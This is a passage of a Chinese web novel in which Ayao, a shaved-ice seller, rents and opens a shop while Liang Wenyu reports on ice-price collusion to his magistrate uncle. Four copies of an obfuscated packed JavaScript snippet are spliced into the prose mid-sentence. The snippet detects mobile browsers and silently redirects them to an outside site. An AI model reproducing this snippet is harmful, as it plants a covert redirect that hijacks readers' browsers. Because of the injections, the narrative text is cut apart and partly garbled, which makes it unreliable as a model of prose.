她习惯了重男轻女的思想,也见识过阿嬷为替小儿还上赌债将她发卖后的痛苦,可她就是不服气。 阿瑶既是做生意之人,自然明白其中道理,凡是路过周围的食客,就连花楼店家她也是笑脸相对,古话说的好出手不打笑脸人,都是干这门子营生的岂会不懂。 不过最近阿瑶有些长开了,原本圆圆的小脸现在能够看清晰的下巴骨,脸颊退去稚气多了些美人相貌。 周边人初见阿瑶时就夸她一副美人相,现在看果真是。 她笑着听食客们说话,对方打趣着顶多会还上几句嘴,佯装生气的模样说起软话,那些年纪大的妇人就喜像阿瑶这样的小姑娘,都争着要为家里大儿说亲。 说归说,阿瑶其实心中早打定了主意,寻了个由头一一回绝过去,那些妇人也都晓得阿瑶家中事就没再多说,反倒时常光顾。 近来她有意筹备开铺子一事,每日都要出去一趟,主要是托了官牙子瞧看附近是否有合适的商铺。 阿瑶看了一圈回来都没见着自己满意的地方,坐在木桌前大口喝水。 忽然瞧见梁文宇在她身边晃悠,就开口询问起来:“你朋友众多,可知西市附近那处有好铺子可租。” “我如今身份,这些好友见了怕只有避躲的份。”梁文宇嘲讽起来。 阿瑶反应过来,一下戳到人痛楚上,面色顿了顿:“我并非有意。” 梁文宇睨了眼,当作没事般:“西市有几处好铺子,不过价格略高,官牙给你瞧过没。” 阿瑶回忆起官牙带她走的路线,并未发现其中有梁文宇所说的好铺子,都是些偏远安静之处离州桥有好几十里路。 她摇了摇头。 “估计见你买不起,便没带过去。”梁文宇说时,目光停留在阿瑶身上,缓缓谛视起来。 她被看得有些不舒服,指尖攒住衣摆轻轻抠起来,抿起嘴来:“改日定要他带我去,到底是什么样的好铺子。” 西市分地段,距离州桥属于中心位,那边的价格略微高上一筹,贴近城门处则价格偏低比较适合阿瑶这种,论做生意的铺子自然还是贴近州桥的为好。 那日她去瞧过,外沿和内沿生意相差颇多,虽然外处的位置也有许多人光顾可一年的营收总还是内沿多。 阿瑶心头盘算了一下银钱,加上几颗小金豆还算勉强能博上一博。 “外沿铺子我倒是看中了一间,可听说那家主人不愿出租。”阿瑶记起门上贴着的封条,“算了,过几日再去瞧瞧。” 其实阿瑶心中也还没定下铺子的位置,只要心仪就行,可官牙带她从里三街走到外三街,她一个劲摇头。 周边地段好的铺子不是已租人就是不外租,选个铺子可真难! 午后官衙派人出来才买蜜沙冰,还是阿瑶之前一直见过的那个,他拿出一贯钱,扣到推车最前面的木板上:“阿瑶姑娘,我家大人今日想吃冰,劳烦您按照惯例做上一份,其余皆做新品。” “好。”阿瑶拿碗让梁文宇挖冰,她则在上头铺料装篮,一贯钱买了将近十多碗,还好她备着个小竹匾,剩下的都装进竹篮中。 梁文宇同官爷一起回去,就在阿瑶看不见的地方两人互换手中物,官爷端着竹匾跟在他身后。 两人从官邸偏门进入直达后院,过一道坎门就是书房,梁文宇手中拎着的正好是吴县令的沙冰。 他两指空握叩门,得到里头应答才推门而入,散漫叫着:“舅父。” 吴县令手捏毛笔对着文书批改,他面前都是县里书生们写的文章与农耕的修改初稿。 “子恒来了。”吴县令搁下笔,双手架上交椅,掌心下垂,“冰价查的如何?” 梁文宇将沙冰放上桌,后退一步,侧站着:“侄儿过来就是为了此事。” 吴县令手朝对面一指:“坐下说。” “是。”他坐上圆凳,“几日前发现冰行与花楼勾结,对其他商户施以高价方可从中谋利,侄儿瞧见那幕后之人露面。” 吴县令挖了勺冰沙甸着:“可有瞧见什么?”说完朝嘴里一放,冰在嘴中抿化,消解了暑意,接着又是一口。 梁文宇瞅着他舅父一口接着一口往嘴中塞,两边的胡子都快翘起边:“那人手腕处画着一条黑蛇。” “好。”吴县令在他说话间吃了小半碗下肚,顿时神清气爽,“我会派人去详差。”他动手又挖了勺塞入嘴。 等吃完一碗蜜沙冰,吴县令掏出帕子擦嘴,突然问起阿瑶事来:“听姣姣讲小姑娘主意颇多,周边百姓都喜爱的很,连你母亲这样嫌少吃冰的人都念念不忘,看来不容小觑。” “舅父谬赞了。”他替阿瑶接下这些夸奖,谦虚道,“还要谢舅父助力,否则再努力都是无济于事。” “哦!”吴县令起身往窗边走,背手而站,“谢我什么?” “舅父所做她不知可我却知。”梁文宇大马金刀的坐,唇前抵着盏茶,“若未舅父出手,今日便无此摊。” “不错!”吴县令捋着胡须一边点头,对梁文宇锐利感知生感欣慰,看出少年对此事上心,眉眼很是满意。 这样的反应他只在梁文宇儿时见过一次,而后就在未看过,少年小时对周边事物总有一种保家卫国之气,渐渐的他却了没了这样的心思,反倒对任何事物都提不起精神来。 文雅之事做的多了些,可期盼落了空,吴县令将梁文宇自幼带在身旁,悉心教导往他将来考取功名接替他衣钵,没曾想这臭小子什么都不要。 若非当初那一股子事让他有机可乘与他对赌立誓,估摸着今日又不知该在何处舞文弄墨。 吴县令眉头一挑嘴角一勾,八字胡须上扬了一下:“莫忘记了我们的约定。” 他们两人当初定下赌约,就是为了印证阿瑶能否凭借自身聪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519678|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明才智突破世人对女子的枷锁。 不过现在看来他当初的选择是正确的,第一眼见到阿瑶时就知道这个小姑娘虽然置身困境可却有股韧劲。 两人私下帮了不少,皆破了一次例。 “侄儿记得。”梁文宇朝吴县令作揖,“多谢舅父提醒,侄儿先行告退。” 不过相对于赌约,梁文宇提出的才是最难办到的,他与吴县令以官途相赌,若他输了就赶京赴考,若吴县令输了他便继续做那文雅的纨绔子弟。 从官宅离去前梁文宇被刚进府的廖师爷叫住,对方递上枚玉佩,竹纹摸样,他捏在手心对着师爷作揖告谢离去。 他回到摊子已经有些时候,阿瑶与食客闲聊,他过去拿了抹布将后面木桌收拾好,把碗都扔进木桶中清洗起来,这样的事做习惯了越发顺手。 人潮是一小波接着来的,前脚刚送走一小群,后脚就又不知从何处来的人,成群结队的出现。 各各都是文人雅士摸样,长袍加身,手中捏着半卷书籍文绉绉,他们靠近推车前脚步还犹豫了一阵,随后派出一人对着阿瑶说道:“店家,来,来六碗蜜沙冰。” 阿瑶笑着应答,目光扫过所有人眼,她转头瞥了眼身后梁文宇,打起冰来:“客官,后头有位子,您拿了去后边慢慢吃,若是有何不妥之处尽管对我说。”她好像认出其中一人,原先在花楼务工时见过一回。 那几人手中取了蜜沙冰往后坐,本来好好坐下的,可就在几人转身见撞见了梁文宇端着琉璃碗过来,他们相互对视了眼都不敢轻易确认。 直到梁文宇露出正脸来,才有人惊呼出声:“梁兄!” 梁文宇原本只想略过几人,被人认出后换上一副玩世不恭嘴脸随手作揖与几位好友相认:“诸位,吃得可还好!” 他们原本要去雅间细细探讨诗句,可阿瑶冰饮摊名声响亮已不是一日两日,书院同僚尝过后更是赞不绝口,唯独只剩他们几人还未吃过,特此前来尝上一尝。 “甚好。”为首之人评价起来,“听闻梁兄之事,我等倍感心痛,不知梁兄取回祖传家玉没。” “已取回,多谢关心。”梁文宇并未打算和几人叙旧,他浅料几句就去前面帮忙。 这些文人同他只是交情甚浅的寻常友人,对梁文宇了解极少,本着多一事不如少一事的心态,就顾自己吃冰起来。 阿瑶将后面一举一动都纳入耳中,原先她还担心几人会打趣梁文宇,当初雅集上相互交谈的文雅之人来往间都用银钱作为交情,谁知他们中还有会关心几句之人。 等梁文宇走到阿瑶身边时,铁盘周围多了枚玉佩,样子有几分眼熟,阿瑶细细瞧了瞧,恍然想起是她初到此处是梁文宇赠予,又被她交到吴县令那儿。 “此玉赠你,就当是对过往的赔礼。”梁文宇说道。 阿瑶并非未听见几人交谈,知晓此玉乃是梁文宇家中祖传,眉眼迟疑了阵,连摆手回绝:“我不能收!” 28. 分家后(五) “玉已送出,岂有收回的道理。”梁文宇立在阿瑶身旁。 阿瑶紧捏指尖,神色凝重:“可我当不起...”传家人。 “你不是想去西市瞧心意铺子吗?”梁文宇注意到人群中游走的官牙子。 “嗯,的确,这玉我先替你收着,来年你我发大财再还你!”阿瑶似乎有些拗不过梁文宇,找好借口推脱。 梁文宇哼笑一声,鼻音略重:“好。” 就这样阿瑶收下了玉,匆匆跑到官牙子身边,肉肉小手拍打着官牙子肩膀。 对方注意全然不在她这头,被她怎么一拍有些吓到,浑身一颤,扭过头:“阿瑶姑娘,可不兴怎么吓唬人的。”差点丢魂了,赶忙拍着胸腔。 “你老实说,带我去瞧的那些铺子里头可有你偷藏的好门面。”阿瑶摇头晃脑说着,头上的蝴蝶簪跳动,银色饰面发出波光晶莹透亮,晃进官牙眼中。 官牙子轻咳一声:“我已将所有铺面都带你瞧过,好的坏的都让你亲眼见过,若是在不行就只能你自个去寻了。” 他手头统共就只有这么几个,从南带到北,又从东带到西,里外都快把他脚走冒烟了,愣是一个都没瞧上。 “其实,我到是看中了一间,只不过这事还需要您帮个忙,和这家的东家说一声。”阿瑶嘟了下嘴,说出自己心中打算。 官牙子拽着阿瑶袖口往西市走,手捏图纸,边走边瞧,七拐八拐就把人带到了她所说的那间铺子面前,叹息道:“阿瑶,并非我不愿租你。” 阿瑶等对方讲出缘由,官牙子嘴里啧了一声:“说来奇怪,这家人有意外租可又挑剔的很,来了不下三四户人家,后头全半途赶了出去,你若想租,我可替你搭桥。” “好。”阿瑶先应下再说,她要探探对方虚实。 官牙子开口:“今日可要请我吃上一碗蜜沙冰。” 阿瑶爽快答应下,亲自替他做上一碗端去,趴在桌上:“这可是你应下的,不许反悔,那间贴了封条的铺面我要定了。” 她盘算来盘算去还是看上了那间贴了封条的铺子,位置地段都不错,靠近内沿州桥附近,周边又无人抢生意,对面离各大酒楼近。 “好好好。”官牙子被她扯着袖口,勺子往嘴里放都不安生,只好先答应下来。 总算吃上。 后来官牙子替阿瑶去打听了店铺东家,左一耳右一耳听见了不少事儿,尤其是前头刚搬出去不久的铺子,他们被赶出去后另租了一家店面就安置在对门附近。 从人口中得知,那铺子东家性格怪的很,见不得里头脏乱,每月都要过来瞧上一眼,但凡后厨有些脏乱之处就摆脸色给人瞧。 阿瑶大概了解那东家脾气了,不过某些方面倒是和一人有几分相似,她摸着头忖度:“劳烦你去他府上时带一碗沙冰过去,同东家美言几句,我们先租一月试试。” 为犒劳官牙子替她奔波劳走,阿瑶多送了对方一碗沙冰做谢礼。 得了便宜,官牙子自然是卖力些,他到人府中同管事说上几句好话,对方拿了吃食进去出来时摇着头,表明拒绝之意。 而后这些话传入了阿瑶耳中,她握拳砸了板面,咬牙切齿:“太过分了,凭什么不愿租于我们。”骗人的家伙! “许是对先前几位生了间隙,料想你与他们相同。”官牙子也奇怪着,明明管家收了吃食,出来时他瞧了眼,碗是空的! 分明就是想吃白食! 打从阿瑶吃了次闭门羹后,她对那间铺子的兴致也就慢慢淡去了,只好再物色一些新店面。 说来气人,阿瑶憋着一口怒气,干活时手中动作力气都大上许多,搞得摊子上叮铃作响,梁文宇多瞧上了几眼。 来吃的食客好似从未见到她这幅模样,问了嘴:“阿瑶,何事惹你生气?” 她本来积怨已久,难得有人听她抱怨,就说了出来:“我本看到西市有间铺子,送了那东家一碗蜜沙冰,图留一只空碗,对方传话的人回了个不租,你评评理,这何事吗?” “是有些欠佳,既然收下礼,应当办事。”那人为阿瑶打抱不平起来。 本来这些话阿瑶时不打算讲,毕竟是她未来东家,可对方拒绝的如此明确,阿瑶就没打算藏着掩着。 送走人,她那股子气就定了下来。 这几日许老大没留在州桥附近卖小吃,他们不在身边,阿瑶有时还会跑到他们附近去吃些东西,又路过西市时,瞧见她看中的那间铺子外头木板垒在一块,封条掉在地上,里头好像还有人在整理,她好奇凑近看。 屋子里头有两人在收拾东西,空荡荡的铺面,四角结起的蛛网一大片挂在空中,两人出来往巷子里走。 她才有机会走进去看看,铺面只有间屋子大小,若说放木桌刚好摆八张就满了,四方四正的一间,正是阿瑶心中想的模样,她从里到外看了一圈,后厨地面虽被整理过可还留着一滩焦黄油渍,后厨布局小,但货架齐全。 阿瑶看了一圈,刚踏出门就遇上了找她的官牙子,人是小跑着来的,手中好像攥着东西,距离有些远,她没看清。 等人到眼前,就听对方喘着粗气,断断续续说着:“阿瑶,东家..同意..你租了。”他展开文书。 “真的!”阿瑶才幻想过铺子中的摆设,脸上笑容绽放。 官牙子猛吸气调整状态,平稳下来后:“不错,那家人突然改变主意,派了管家来寻我,这才找了你许久。”从州桥跑到西市少说也有几里路,可不累惨了! “来,对方已将文书签好,就差你一人了。”他把文书交到阿瑶手上让她细细看,自己则叉腰站在路旁。 阿瑶看过文书对里面的协议还算满意,就照着对方模样在下面签字画押,她的字歪歪扭扭索性就写了个瑶字,接着摁下手印,两人是在铺子里头的木桌前完成剩下事务的,签订完阿瑶对着屋子内叫了几声,一路走来官牙也算有目共睹。 刚进镇时阿瑶当时还没买宅子,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525577|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今买了宅子,又有了铺面,算下来都快三月有余。 他打心眼为她高兴,只因他有位年岁相同的妹妹,幼年没抗住饥荒提前离世了,他想过妹妹在时也该同阿瑶一样,活泼开朗。 一路带着这个好消息跑到许老大和海氏面前,把租下铺子的事情告知。 "阿爹,阿娘,今日早点收摊,我带你们去瞧瞧咱们的新铺子。"阿瑶裂着嘴,心情愉悦。 海氏欣慰:“好,等你带爹娘过去,咱们先收拾收拾,阿娘找人替算个好日子就正式开店。” “阿瑶,这铺子一月收多少租金,可有同对方讲价,里头该不会出过事吧!”许老大手里忙着,嘴上问起来。 阿瑶抿唇:“东家只同意租一月,租金八两,若有脏污杂乱,他们随时都会赶人离开,八两是不退的!” 许老大沉思片刻:“无事,后面交给阿爹,你就忙你的。” 阿瑶走到许老大身边将自己想法说上一说:“阿爹,我想着两个摊子并成一个,这样既有冰吃又有小吃,食客无需跑到外头。” 许老大毫不犹豫应答下,称赞阿瑶这个想法好。 于是,三人提前收了小吃摊去看铺子,阿瑶搬开门前木板,带爹娘入内。因里面自带了几个货架,海氏瞧见上头积灰便擦拭起来。 回去时天色略晚,阿瑶回到冰饮摊,前后都没了食客,连同梁文宇这人都消失不见。 直到她走近才发现推车后头木桌上趴着人,许是累坏了,靠在哪儿休息。 “你总算回来了。”人还未到跟前,梁文宇睁开了惺忪的桃花眼,嗓音疲惫。 “嗯。”阿瑶注意到摊子前凌乱一片,“今日苦了你。” 梁文宇直气身子显然不想同阿瑶说话,伸起懒腰,但又忍不住问:“铺面的事情可落实?” “同官牙子签好文书,只剩下挑个日子开店。”阿瑶收拾起来,将剩下的一些果肉扔进桶中,用冰水简单冲洗了一下叠起来。 “好。”梁文宇也开始收拾,折好木桌堆到一旁树下,再用防水布盖好。 不过东家开了八两作为租金,阿瑶手头一时还未必能拿出那些数,只好先托官牙子去同人商量,左不过都签订了文书对方想反悔也未必可行。 她打算先交三两定金,剩下慢慢补上铺子里头还有许多事要忙,剐蹭的墙面需要请人来补,后厨发霉的木桌要抬走,都是些要使银子的地方。 海氏替阿瑶去算过日子,开张吉时定在七日后的辰时。 这几日阿瑶几乎将冰饮摊生意都交给了梁文宇,她忙着盯铺子整修一事,两人每日回家沾床就睡,累坏了。 终于,铺子小有成形,她摆了八张方木桌,墙上挂了几个大字,布置相当朴素,让人一看就是吃冰的地方,后厨墙上装满了各种果酱,贴着最外端的地方阿瑶放了一个木桶和一把锥子,再过去一点就是铁托盘,这两样可是她“吃饭”的家伙。 而后她为铺子取名:冰雪铺。 29. 分家后(六) 她要怎么做才能让更多人来呢? 阿瑶思路混乱中突然眸中一亮,想到可沿用现代商业模式,至于怎么做她还要先想上一想。 开张前几晚,她坐在屋中手捏短炭,腕部缓缓移动,一个个简体小字出现在草纸上,她暂时只能想出这简单的法子。 后续还需同她爹娘商量可否能行,因为阿瑶写的是卖三送二,连吃一周可打九折,与先前卖二送一有所区别在于后续打九折上,想获得更多便宜必须满足前一项才行。 她挑了空闲时间同许老大说了说,到底是时常在外务工,对阿瑶提出的法子相对比较满意,主要因新店开张,阿瑶担心原先的食客找不到。 就打算让梁文宇继续推着摊车去老地方等,顺带将新店的位置写在上头。 他们买了不少爆竹,都留着开张那天放,两个哥儿高兴坏了,碰巧吉日遇上了学堂休沐,这项事便交到两个小的身上。 前边还有许多事物要处理,阿瑶在后头八张木桌上安放了几个陶瓶,接着慢慢布置成自己喜欢的模样,只等开张当日到来。 开张当日,招牌上挂着的红布在海氏“揭彩”中落定,绸布从空中飘落,带来一种新生的光芒,木制招牌上用柳体雕刻出三个字体。 阿瑶为全家添置的新衣终于在此刻穿上身,连梁文宇里外都换了新。 爆竹声夹杂人声相互交加,人群在门面前围成一个小圈,等海氏说完吉祥话,阿瑶作为店家开口恭迎大伙进店。 东方升起一道浅金色的光,掉落到屋檐照到牌匾上,那三字如同镶入金粉般熠熠生辉。 外头人四面八方涌来的人越来越多,多到让小小店面连个落脚点都快没有,海氏在人群中穿梭,阿瑶三人都有些忙不过来,砸冰加料,糊面翻转,真是好一顿忙活。 由于后头还有不少食客等着,阿瑶无奈下只好先找出了摆摊时用过的几张小方桌,虽然边角有些磨损,但还是勉强能用上一用。 铺子旁边相邻几个店铺都是无人租下的,阿瑶打算先借用一下,回头有了银钱在将店面扩大,想着就朝外头摆起来,仅仅几张木桌无法解决赶新鲜劲的食客。 大伙多数都是被相邻间给招呼来凑热闹的,一来二去也就参与其中了,主要还是推出的新价格得多人推崇,否则她哪会有这源源不断的生意。 推出价格之前,阿瑶曾让梁文宇在摊子前头摆过几日,久而久之大伙也渐渐知道了她即将开铺子一事。 同行之间能够将冰饮做的如此好,几人中唯有阿瑶一人,她刚来时周边做此生意的都是男子,女子更是少之又少,自从见她出来摆摊后,周围女子见状也渐渐多了起来。 汴京城中对于女子行商还是多有推举的,可到底还是受到世俗枷锁所迫,出来的人多数都是为了生计无可奈何才会出此下策。 阿瑶抬头望向窗槛外,此时桌前坐满了人,他们之中有常来的熟客,也有面生的新客,目光像是点燃的新火,带着亮光扫过每位食客脸庞,看着他们尝下第一口后所满意的神色,她像是抹上了一层蜜般的甜,低下头忙碌起来。 “今日得忙到三更。”许老大一直重复着裹面糊下锅的动作,手上是根本不敢停下,外头欠了好多吃食,他捏起颈上挂着的头巾替自己擦汗。 阿瑶双刀剁着混有果酱的牛乳:“阿爹,门外还有许多,三更还未必能忙完。” 许老大颠勺捞出满锅黄鱼,仰头朝外看了一眼:“咱们要加把劲了。”他手往面糊一转,接连抓起好几条鱼朝锅中扔,“否则外头食客该等着急了。” 阿瑶忙中偷闲,抽出身跑到海氏身旁,附在耳旁说了几句:“阿娘,昨日让阿爹炸的小吃可拿出来叫外头食客尝尝。” 她让许老大做的馎饦(botuo)正好可以拿出来让食客垫一垫,固然非他们心中所想,但还是能为后头推出此物得一招牌。 这个镈饦阿瑶是用白面、红面分别揉搓成较硬的面团,双色面团混合后,卷紧冷冻定型,最后切成半寸厚的薄片炸至金黄,晾凉后口感酥脆。① 那红面是蜜糖加上面粉和油和成而白面是加了少量牛乳进去,甜中带着奶香,阿瑶特意叮嘱海氏无需多放,目的就是为了吊足胃口。 “好。”海氏手捏的托盘中放了只琉璃碗,碗口大底下窄,看似许多实则一圈下来就该空了。 连续忙碌将近两个时辰,外头食客总算少了许多,今日开张份额阿瑶是多准备下的,只是未能料到外头食客多到连明日备下的吃食都提前用了。 零星总是有几个食客从其他地方赶来,生怕错过这等子好事。 照着原来做法,阿瑶把越王头和悬钩子混合在一起制作新款炒酸奶,满满一勺果酱倒入铁盘,加上白浆和牛乳,等盘中微微出现浅薄的一层霜后,她开始搅拌起来,淡粉色液体在翻拌中变得越发醇厚。 阿瑶撒了一把果子碎进去,这样出来的炒酸奶层次分明,侧面能清楚瞧见果肉鲜明纹理。 其实所有款式中阿瑶最喜得还是手上这款炒酸奶,两种奶香交叠,清甜中带着一丝酸意和微涩口感,相较于前几种,这款当属于今日买的最好的。 只不过阿瑶对这款定价相对高一些,可最后剩下来的居然是款式简单的蜜沙冰。 “阿瑶,阿爹过来帮你。”许老大炸完所有小吃过来,顺手接过阿瑶手中铲刀,“你去外头帮你阿娘。” 海氏在人群中游走,点得人多了根本记不住那些东西,她又没学过字,记下的东西更是很少,好在阿瑶过去帮忙,手里捏了张草纸拼凭借原身记忆写下来。 她能认得几个字多亏了许老爹回乡时带着她练字,可许老爹一走后她阿嬷是什么东西都不让她碰了。 因为都是熟客自然知道阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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"阿娘,您在说什么!"阿瑶有几分小姑娘的娇羞,可到底还是年纪小了些,对感情之事还未开窍,”阿娘莫打趣,我同梁文宇之间并未有什么,不过是志同道合。” “好好好,阿娘不说了。”可海氏目光任然落在两人身上游走,眼神中的笑意更加深刻了些。 或许是相处多日觉得梁文宇是位可靠之人,打心底认可他想有意撮合两人试试,可她旁敲侧击都未能听出阿瑶真实想法,一来二去也就彻底歇下了心。 眼看店中只剩下一小部分还未怎么收拾,阿瑶让许老大夫妇两人先带着幼弟们回家休息,自个收拾起来,后厨地方小多出来的碗碟需要阿瑶搬到外头木桌上暂放。 她搬了一批出去,转身是不知怎么得就撞入了梁文宇怀中,对方偏偏还张开手等着,措不及防。 鼻头撞到的地方先是一酸,而后是股幽淡香气,味道有几分像她之前送出去的香包。 “你这人怎么不看路!”阿瑶结结实实撞了一头,她从梁文宇胸膛退出时小脸红扑扑的像是要滴出血来,垂落的眉眼乖巧的很,红晕沿着脸颊一路往下蔓延至耳根,小巧耳垂上的一枚黑痣变成了米粒中的一颗朱砂。 他的手在她身后是虚掩的抬在半空,喉间发出的哼声带着丝听不出的宠溺,嘴角微勾,桃花眼笑意渐明。 “是我错了!”他嗓音低沉,可又有一些慵懒,像是山间清泉发出的共鸣。 30. 分家后(七) 阿瑶低垂着脸,新月眉细长浓密,杏眼微敛搭上圆润翘鼻,犹如画中女郎。 那声音附带磁性,阿瑶咬唇时的目光凌乱,心口直跳就连呼吸都凝滞了几分,脑海回荡着那轻笑,“你...”她口中说不出话来。 梁文宇看着有几分入迷,他是断然未能料到偌大屋子中,两人尽然直线相撞。 “我先去算一算明日需要采购多少,此处就劳烦你多费些心。”她说话的语气中带着女子的娇柔感,连自己都未能察觉出不妥。 “好。”梁文宇视线从阿瑶身上停留半刻。 阿瑶脸上褪去红润绯色,余光偷瞄了几眼,收回心清点起今日所剩食材。 梁文宇动作利索,搬出的碗碟垒满桌面,大小各异的款式都排了一整列,收拾好后厨。 他跟在阿瑶身边已有四月,如今每日锻炼都不像先前手无缚鸡之力的白面小生,倒像是位农家小伙。 今日动作利落半点闲散都未有,照料完外头食客快接近子时三刻,后面又是整顿收拾弄完所有回到家已是四更有余。 但阿瑶毫无睡意,攥着绳子一个一个串起铜板,眼看今日收入都吊了足足三贯钱,小手摸上这些铜板,眼中是对财力的渴望。 原本阿瑶是想直接租下铺子一整年,但每月租金的确高了些,先前交上去三两银子,剩下只能后头慢慢补上。 钱匣子中存放的统共才一两和几枚散碎铜板堆在一处,阿瑶将三贯钱轻轻放入,盖上盒子,鼻尖呼出长气,自言自语起来。 至此忙碌着,早上奔波西市挑选刚打捞上来的小鱼,两指长三寸宽的黄鱼炸起来是最香的,而后就是各类常见果酱,一卖就要买上整整一小车。 她推回家时,爹娘煮好吃食等着俩人回去,海氏手中盛着白粥,望向走进来的两人是越看越欢喜,梁文宇负责推,阿瑶负责采买跟在一旁查看,那是真的好。 “阿瑶快来,阿娘做了你爱吃的葱花烙饼。”海氏徒手贴着饼,葱花沾到热油煎起来冒出的鲜香浓郁使人肚中一饿。 阿瑶和梁文宇从车上抬下整框黄鱼,又将车子里东西搬干净,果子类都先扔进井水中浸泡。 “先去吃点东西,一会还要好久。”阿瑶瞄了眼身后装满水的木桶,“快去吃吧!”催促梁文宇过去。 她留下挑了几个坏果出来,随后走到大锅边捏起葱花烙饼开咬,不停转换手拿着,嘴里发出“滋啦”的声音。 因为着急干活,阿瑶吃了几口就扔下饼开始处理黄鱼,刮完鱼鳞从肚子下方小口顺着往上划,挖干净内脏洗净放到一旁备用。 接连处理完今日所需要的用量,手中活就被许老大和海氏接上,夫妻两人一个负责接下来的活,一个拉着阿瑶去用早点。 她手中捏着葱花饼大口吃着,狼吞虎咽的吃相有几分狰狞,但还是想快速吃完,目光随着海氏揉搓果子的动作,咀嚼食物的速度逐渐慢了下来。 眼瞅着海氏把果子去皮,去核丢进干净木桶中,阿瑶快速吃完过去同海氏一起剥,期间抽空去瞧了几眼麦子,撒上一些水等待种子发芽。 切完所有果子就开始生火熬煮糖浆,直到灶台上摆满各类果酱,阿瑶才接着准备下一步。 东西准备完,便是要去铺子开业了。 她每日都需要去冰行采购,摊子就被留下来装冰桶,等到冰行附近听见几个同行说着冰价又开始高涨,甚至都已达到八十文一块。 光在外头听是不知道里头到底什么价,她转头与梁文宇对视一眼,进门拉住个跑腿:“小哥,今日最好的冰来上两块。” “好嘞!一共一百六十文。”那人撕了两张票子递过来。 阿瑶还停留在两块一百六十文的价格上,对方睨了一眼催促起来,这才从荷包挖出铜钱交过去。 “这冰何时如此昂贵,竟然要八十文一块!”阿瑶问了嘴。 “今早刚涨的价,看您也算老客,八十文一块已是便宜的了,后边新来的都卖八十五文一块。”掌柜瞟了眼说起来,手中记着账。 她后头都是来卖冰的同行,还有几个穿着花楼衣裳,她靠边等着领冰,前面几人私下扯着话题讨论冰价和埋怨冰行老板黑心,这些话阿瑶落进耳中却没掺和进去。 不止是购买两块冰怎么简单,铺子开张第二日需要冰量逐渐加大,最好两块的冰是用来制作沙冰的,炒酸奶冰是价格最低就行,只是这次阿瑶后头与掌柜说在加一块时,对方多收了阿瑶三十文,往常这样冰只需十文就行,眼下不光是最好的冰,连质量最次的都涨了二十文。 买冰加上食材统共用了近五百文,阿瑶算过一日只需四百六十文,现下超了四十文,多出来的价格需多卖碗两冰才能赚回来。 冰价昂贵周边百姓知道后起哄抢着购买,生怕后头价格越来越贵。 阿瑶取冰敲打过程中发现冰块多处有丝状物出现,粘在一块儿露出半截,她当即就和掌柜说,对方帮她换了一块儿。 冰行有专门物件敲冰,打起来不费劲,让梁文宇砸碎冰块后装进冰桶,两人拉着推车去了铺子。 冰桶装满后重量是往日的三倍中,阿瑶抬不动,多数时候都是由梁文宇与许老大两人搬运。 做沙冰时还是需要捞一小块冰出来进行刨成丝状,阿瑶淋上果酱递出去,比起沙冰炒酸奶吃的人一时间居然多了起来。 明明冰量还是沙冰最多,炒酸奶是牛乳混合果酱制作出来的,可食客就是爱吃这款,偏偏冰价根本影响不到什么。 抢购的都是些价格低杂质多用来摆放消暑的冰块,阿瑶也趁着手头还有些钱买了几块冰可放家中消暑。 夜里两个哥儿总念叨热的有些睡不着,她心疼幼弟怕他们中暑就在家里设了个地窖存放,光造地窖就费了不少钱。 好在里头小,尺度是深了些,胜在凉快能存冰。地窖是在院子角落开的口,做了木梯下去,直达存冰处。 地处北方黄土干燥无水,夏季雨水少天气好,中途处理好这些后阿瑶又回到铺帮忙。 人手是远远赶不上外头进来的食客,好多位老客开张当日卖了三份炒酸奶连着可享受七日九折。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538458|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她算过一日卖两百多份大碗炒酸奶能赚五吊钱,换做沙冰就只有三贯,自然是推荐炒酸奶为主。 红色果酱混合牛乳在加入麦芽糖浆翻炒,等待液体变厚压块就能食用,顶上必须撒巴榄子和果粒。 下一碗就是越王头浆混着牛乳加入悬钩子翻炒出来的炒酸奶,所谓氏各种颜色的款式都出去了一碗。 每位食客都喜好吃上一些,她会根据食客喜好控制果酱用量,杏子类吃的人少,像那种甜味较多的果酱较为最多。 这个时节阿瑶想着杨梅这个时节该流通两市了,想等晚一些去西市看看,买来现做现订价都行。 天色暗下来后,阿瑶视线扫了圈,就和许老大三人说了句,她先跑去西市看,有几个摊前堆着杨梅,木牌上写着吴越杨梅。 阿瑶晓得带名字的杨梅口感最好,可细看价格尽要五十文一斤,她瞧着这些个头杨梅在店家盛情款待下尝了一颗,口感鲜美、饱满多汁,吃起来意犹未尽。 